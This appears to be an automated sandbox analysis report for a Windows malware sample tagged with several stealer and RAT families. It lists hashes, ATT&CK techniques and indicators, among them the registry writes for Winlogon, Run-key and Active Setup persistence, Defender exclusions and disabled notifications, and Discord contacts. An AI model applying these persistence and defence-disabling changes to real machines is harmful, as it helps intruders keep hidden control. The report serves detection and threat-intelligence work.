735f2678be9124894a034b5cee06d5c614f1947be657ed009786cf4d74acd25c

Analysis

max time kernel
34s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/10/2026, 11:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
Size 1.6MB
Sample261001-npl5aattbv
SHA256 735f2678be9124894a034b5cee06d5c614f1947be657ed009786cf4d74acd25c
MD5 7c3eaeab3aefc2ba719a62da1b527277
SHA1 d628310ab5d3da7a287bcad22449f95b816021d6
SHA512 7c8f960d2907fb272f0ff7cf775aa50f916e98794b13eb9d5e01633d05d06498a799d6a45468d2f3d19b19960ea2a50024221f3f42fb133a2c3e62ff4c49f950
SSDEEP 24576:3/UhWquqgJylEw7isAFNUIwZm7g4O+f1LzCrAFSsqU48MgDrtt:MhWqxgIh4XsZm1O+lFDr
TLSH
T1B1755C06656400ECE073D47DCE668992E2B1B80D47B249FF16E17762AF33AF14A7D722
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe,"	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe

Modifies Windows Defender notification settings 3 TTPs 3 IoCs

defense_evasion trojan

Windows Service

T1543.003

Modify Registry

T1112

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe

Windows security bypass 2 TTPs 3 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4136	powershell.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 4 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{E3F7B2A1-4C8D-4F2E-9A1B-3C5D7E8F0A2B}\ = "Windows Security Health Validator"	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{E3F7B2A1-4C8D-4F2E-9A1B-3C5D7E8F0A2B}\StubPath = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe\""	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{E3F7B2A1-4C8D-4F2E-9A1B-3C5D7E8F0A2B}\Version = "1,0,0,1"	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{E3F7B2A1-4C8D-4F2E-9A1B-3C5D7E8F0A2B}	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 25 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2704	powershell.exe
2892	powershell.exe
988	powershell.exe
5920	powershell.exe
3152	powershell.exe
4156	powershell.exe
2972	powershell.exe
1420	powershell.exe
4328	powershell.exe
2316	powershell.exe
3152	powershell.exe
2556	powershell.exe
3276	powershell.exe
4492	powershell.exe
5984	powershell.exe
2236	powershell.exe
1960	powershell.exe
4952	powershell.exe
1768	powershell.exe
256	powershell.exe
2892	powershell.exe
4680	powershell.exe
4136	powershell.exe
4476	powershell.exe
5316	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 5 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe\GlobalFlag = "512"	powershell.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\runtimebroker.exe	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RuntimeBroker.exe	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RuntimeBroker.exe\GlobalFlag = "512"	powershell.exe

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Environment\UserInitMprLogonScript = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe\""	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Windows security modification 2 TTPs 5 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\SpyNet	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Software\Microsoft\Windows\CurrentVersion\Run\SecurityHealthSystray = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe\""	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe

Checks for any installed AV software in registry 1 TTPs 1 IoCs

Security Software Discovery

T1518.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
6	discord.com

Enumerates connected drives 3 TTPs 15 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

remove IFEO.

defense_evasion

Clear Persistence

T1070.009

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\runtimebroker.exe	powershell.exe

Discovers running processes 1 TTPs 9 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4976	tasklist.exe
3572	tasklist.exe
800	tasklist.exe
4776	tasklist.exe
4952	tasklist.exe
4952	tasklist.exe
2404	tasklist.exe
1428	tasklist.exe
3340	tasklist.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4224	sc.exe
4288	sc.exe
4680	sc.exe
5584	sc.exe
4912	sc.exe
5040	sc.exe
2620	sc.exe
4524	sc.exe
5700	sc.exe
1768	sc.exe
1132	sc.exe
5076	sc.exe
4684	sc.exe
4452	sc.exe
4632	sc.exe
3340	sc.exe
4656	sc.exe
4072	sc.exe
1492	sc.exe
3508	sc.exe
4372	sc.exe
6128	sc.exe
6020	sc.exe
904	sc.exe
5044	sc.exe
1264	sc.exe
3748	sc.exe
4736	sc.exe
4372	sc.exe
4444	sc.exe
988	sc.exe
5152	sc.exe
4684	sc.exe
4452	sc.exe
248	sc.exe
3508	sc.exe
5588	sc.exe
6020	sc.exe
5108	sc.exe
3344	sc.exe
4776	sc.exe
5304	sc.exe
2940	sc.exe
200	sc.exe
4668	sc.exe
4448	sc.exe
2164	sc.exe
2452	sc.exe
2624	sc.exe
4976	sc.exe
4504	sc.exe
5976	sc.exe
2640	sc.exe
2924	sc.exe
5932	sc.exe
5976	sc.exe
3748	sc.exe
4832	sc.exe
5984	sc.exe
5884	sc.exe
2748	sc.exe
4260	sc.exe
3340	sc.exe
2624	sc.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4308	cmd.exe
5280	cmd.exe
4528	cmd.exe
3508	cmd.exe
2124	cmd.exe
1092	cmd.exe
1344	cmd.exe
4312	cmd.exe
3244	cmd.exe
2312	cmd.exe
5704	cmd.exe
2256	cmd.exe
4244	cmd.exe
4816	cmd.exe
4504	cmd.exe
3704	cmd.exe
4872	cmd.exe
3112	cmd.exe
5960	cmd.exe
3872	cmd.exe
5336	cmd.exe
1128	cmd.exe
632	cmd.exe
5864	cmd.exe
4724	cmd.exe
3844	cmd.exe
4376	cmd.exe
4556	cmd.exe
4932	cmd.exe
5396	cmd.exe
1372	cmd.exe
2928	cmd.exe
5824	cmd.exe
1932	cmd.exe
3596	cmd.exe
2660	cmd.exe
2676	cmd.exe
4696	cmd.exe
5956	cmd.exe
2180	cmd.exe
3720	cmd.exe
6008	cmd.exe
5204	cmd.exe
2916	cmd.exe
5036	cmd.exe
3184	cmd.exe
5584	cmd.exe
2508	cmd.exe
1316	cmd.exe
1644	cmd.exe
4548	cmd.exe
6016	cmd.exe
5832	cmd.exe
2208	cmd.exe
1416	cmd.exe
6056	cmd.exe
4852	cmd.exe
5964	cmd.exe
5984	cmd.exe
4472	cmd.exe
2728	cmd.exe
5452	cmd.exe
5844	cmd.exe
5884	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 10 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2136	PING.EXE
5180	PING.EXE
6060	PING.EXE
4156	PING.EXE
5852	PING.EXE
5852	PING.EXE
3196	PING.EXE
4372	PING.EXE
1944	PING.EXE
1288	PING.EXE

Kills process with taskkill 64 IoCs

defense_evasion

pid	Process
2316	taskkill.exe
2696	taskkill.exe
6020	taskkill.exe
3000	taskkill.exe
2360	taskkill.exe
4120	taskkill.exe
4556	taskkill.exe
2512	taskkill.exe
980	taskkill.exe
1440	taskkill.exe
4656	taskkill.exe
1908	taskkill.exe
3716	taskkill.exe
4080	taskkill.exe
4132	taskkill.exe
3564	taskkill.exe
256	taskkill.exe
2924	taskkill.exe
1864	taskkill.exe
4220	taskkill.exe
2736	taskkill.exe
4960	taskkill.exe
3576	taskkill.exe
5824	taskkill.exe
5276	taskkill.exe
2972	taskkill.exe
6100	taskkill.exe
1972	taskkill.exe
964	taskkill.exe
4732	taskkill.exe
3000	taskkill.exe
4084	taskkill.exe
4956	taskkill.exe
5804	taskkill.exe
4956	taskkill.exe
4492	taskkill.exe
2668	taskkill.exe
3252	taskkill.exe
3928	taskkill.exe
4120	taskkill.exe
2388	taskkill.exe
712	taskkill.exe
3004	taskkill.exe
3032	taskkill.exe
2136	taskkill.exe
1508	taskkill.exe
3036	taskkill.exe
2492	taskkill.exe
4072	taskkill.exe
1092	taskkill.exe
4184	taskkill.exe
988	taskkill.exe
4452	taskkill.exe
4120	taskkill.exe
2764	taskkill.exe
3700	taskkill.exe
5804	taskkill.exe
4500	taskkill.exe
6120	taskkill.exe
1056	taskkill.exe
2528	taskkill.exe
5168	taskkill.exe
1704	taskkill.exe
3948	taskkill.exe

Runs net.exe

Runs ping.exe 1 TTPs 10 IoCs

Remote System Discovery

T1018

pid	Process
5852	PING.EXE
3196	PING.EXE
1288	PING.EXE
4156	PING.EXE
2136	PING.EXE
4372	PING.EXE
5180	PING.EXE
1944	PING.EXE
6060	PING.EXE
5852	PING.EXE

Suspicious behavior: EnumeratesProcesses 46 IoCs

pid	Process
3152	powershell.exe
3152	powershell.exe
6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
4136	powershell.exe
4136	powershell.exe
4136	powershell.exe
4476	powershell.exe
4476	powershell.exe
4476	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
2236	powershell.exe
2236	powershell.exe
1960	powershell.exe
1960	powershell.exe
2236	powershell.exe
1960	powershell.exe
5316	powershell.exe
5316	powershell.exe
5316	powershell.exe
3152	powershell.exe
3152	powershell.exe
3152	powershell.exe
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
2704	powershell.exe
2704	powershell.exe
2704	powershell.exe
2892	powershell.exe
2892	powershell.exe
2892	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
1768	powershell.exe
1768	powershell.exe
1768	powershell.exe
256	powershell.exe
256	powershell.exe
256	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3152	powershell.exe
Token: SeIncreaseQuotaPrivilege	3152	powershell.exe
Token: SeSecurityPrivilege	3152	powershell.exe
Token: SeTakeOwnershipPrivilege	3152	powershell.exe
Token: SeLoadDriverPrivilege	3152	powershell.exe
Token: SeSystemProfilePrivilege	3152	powershell.exe
Token: SeSystemtimePrivilege	3152	powershell.exe
Token: SeProfSingleProcessPrivilege	3152	powershell.exe
Token: SeIncBasePriorityPrivilege	3152	powershell.exe
Token: SeCreatePagefilePrivilege	3152	powershell.exe
Token: SeBackupPrivilege	3152	powershell.exe
Token: SeRestorePrivilege	3152	powershell.exe
Token: SeShutdownPrivilege	3152	powershell.exe
Token: SeDebugPrivilege	3152	powershell.exe
Token: SeSystemEnvironmentPrivilege	3152	powershell.exe
Token: SeRemoteShutdownPrivilege	3152	powershell.exe
Token: SeUndockPrivilege	3152	powershell.exe
Token: SeManageVolumePrivilege	3152	powershell.exe
Token: 33	3152	powershell.exe
Token: 34	3152	powershell.exe
Token: 35	3152	powershell.exe
Token: 36	3152	powershell.exe
Token: SeIncreaseQuotaPrivilege	3152	powershell.exe
Token: SeSecurityPrivilege	3152	powershell.exe
Token: SeTakeOwnershipPrivilege	3152	powershell.exe
Token: SeLoadDriverPrivilege	3152	powershell.exe
Token: SeSystemProfilePrivilege	3152	powershell.exe
Token: SeSystemtimePrivilege	3152	powershell.exe
Token: SeProfSingleProcessPrivilege	3152	powershell.exe
Token: SeIncBasePriorityPrivilege	3152	powershell.exe
Token: SeCreatePagefilePrivilege	3152	powershell.exe
Token: SeBackupPrivilege	3152	powershell.exe
Token: SeRestorePrivilege	3152	powershell.exe
Token: SeShutdownPrivilege	3152	powershell.exe
Token: SeDebugPrivilege	3152	powershell.exe
Token: SeSystemEnvironmentPrivilege	3152	powershell.exe
Token: SeRemoteShutdownPrivilege	3152	powershell.exe
Token: SeUndockPrivilege	3152	powershell.exe
Token: SeManageVolumePrivilege	3152	powershell.exe
Token: 33	3152	powershell.exe
Token: 34	3152	powershell.exe
Token: 35	3152	powershell.exe
Token: 36	3152	powershell.exe
Token: SeIncreaseQuotaPrivilege	3152	powershell.exe
Token: SeSecurityPrivilege	3152	powershell.exe
Token: SeTakeOwnershipPrivilege	3152	powershell.exe
Token: SeLoadDriverPrivilege	3152	powershell.exe
Token: SeSystemProfilePrivilege	3152	powershell.exe
Token: SeSystemtimePrivilege	3152	powershell.exe
Token: SeProfSingleProcessPrivilege	3152	powershell.exe
Token: SeIncBasePriorityPrivilege	3152	powershell.exe
Token: SeCreatePagefilePrivilege	3152	powershell.exe
Token: SeBackupPrivilege	3152	powershell.exe
Token: SeRestorePrivilege	3152	powershell.exe
Token: SeShutdownPrivilege	3152	powershell.exe
Token: SeDebugPrivilege	3152	powershell.exe
Token: SeSystemEnvironmentPrivilege	3152	powershell.exe
Token: SeRemoteShutdownPrivilege	3152	powershell.exe
Token: SeUndockPrivilege	3152	powershell.exe
Token: SeManageVolumePrivilege	3152	powershell.exe
Token: 33	3152	powershell.exe
Token: 34	3152	powershell.exe
Token: 35	3152	powershell.exe
Token: 36	3152	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 6132 wrote to memory of 3660	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	90
PID 3660 wrote to memory of 3152	3660	cmd.exe	92
PID 6132 wrote to memory of 4136	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	496
PID 6132 wrote to memory of 1732	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	96
PID 6132 wrote to memory of 1800	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	97
PID 1800 wrote to memory of 3196	1800	cmd.exe	100
PID 1732 wrote to memory of 4556	1732	cmd.exe	101
PID 6132 wrote to memory of 4240	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	102
PID 4240 wrote to memory of 4168	4240	cmd.exe	105
PID 6132 wrote to memory of 2200	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	106
PID 2200 wrote to memory of 5976	2200	cmd.exe	529
PID 6132 wrote to memory of 5704	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	109
PID 6132 wrote to memory of 2980	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	111
PID 2980 wrote to memory of 5348	2980	cmd.exe	113
PID 5704 wrote to memory of 1416	5704	cmd.exe	198
PID 6132 wrote to memory of 6124	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	115
PID 6132 wrote to memory of 1876	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	117
PID 1876 wrote to memory of 4724	1876	cmd.exe	560
PID 6124 wrote to memory of 4616	6124	cmd.exe	462
PID 6132 wrote to memory of 5752	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	121
PID 6132 wrote to memory of 5148	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	123
PID 5752 wrote to memory of 5680	5752	cmd.exe	500
PID 6132 wrote to memory of 2312	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	126
PID 5148 wrote to memory of 3700	5148	cmd.exe	291
PID 2312 wrote to memory of 5848	2312	cmd.exe	129
PID 6132 wrote to memory of 5716	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	130
PID 6132 wrote to memory of 1552	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	132
PID 5716 wrote to memory of 6100	5716	cmd.exe	355
PID 1552 wrote to memory of 2456	1552	cmd.exe	793
PID 6132 wrote to memory of 2644	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	136
PID 6132 wrote to memory of 3636	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	138
PID 2644 wrote to memory of 5044	2644	cmd.exe	954
PID 3636 wrote to memory of 2696	3636	cmd.exe	627
PID 6132 wrote to memory of 2172	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	142
PID 2172 wrote to memory of 3488	2172	cmd.exe	613
PID 6132 wrote to memory of 3128	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	145
PID 6132 wrote to memory of 4628	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	146
PID 3128 wrote to memory of 1908	3128	cmd.exe	815
PID 4628 wrote to memory of 3696	4628	cmd.exe	965
PID 6132 wrote to memory of 2264	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	151
PID 6132 wrote to memory of 2856	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	153
PID 2264 wrote to memory of 4372	2264	cmd.exe	901
PID 2856 wrote to memory of 4956	2856	cmd.exe	1020
PID 6132 wrote to memory of 4800	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	157
PID 4800 wrote to memory of 5016	4800	cmd.exe	565
PID 6132 wrote to memory of 5460	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	160
PID 6132 wrote to memory of 1128	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	162
PID 5460 wrote to memory of 2772	5460	cmd.exe	737
PID 1128 wrote to memory of 4548	1128	cmd.exe	503
PID 6132 wrote to memory of 5064	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	166
PID 6132 wrote to memory of 4600	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	168
PID 4600 wrote to memory of 5152	4600	cmd.exe	391
PID 5064 wrote to memory of 2040	5064	cmd.exe	171
PID 6132 wrote to memory of 5312	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	172
PID 5312 wrote to memory of 6044	5312	cmd.exe	174
PID 6132 wrote to memory of 5336	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	175
PID 6132 wrote to memory of 3556	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	177
PID 5336 wrote to memory of 3888	5336	cmd.exe	179
PID 3556 wrote to memory of 5700	3556	cmd.exe	995
PID 6132 wrote to memory of 1644	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	181
PID 6132 wrote to memory of 1560	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	183
PID 1644 wrote to memory of 3020	1644	cmd.exe	632
PID 1560 wrote to memory of 4080	1560	cmd.exe	996
PID 6132 wrote to memory of 2092	6132	2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe	187

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender notification settings
- Windows security bypass
- Boot or Logon Autostart Execution: Active Setup
- Registers new Windows logon scripts automatically executed at logon.
- Windows security modification
- Adds Run key to start application
- Checks for any installed AV software in registry
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:6132
- C:\Windows\SYSTEM32\cmd.exe
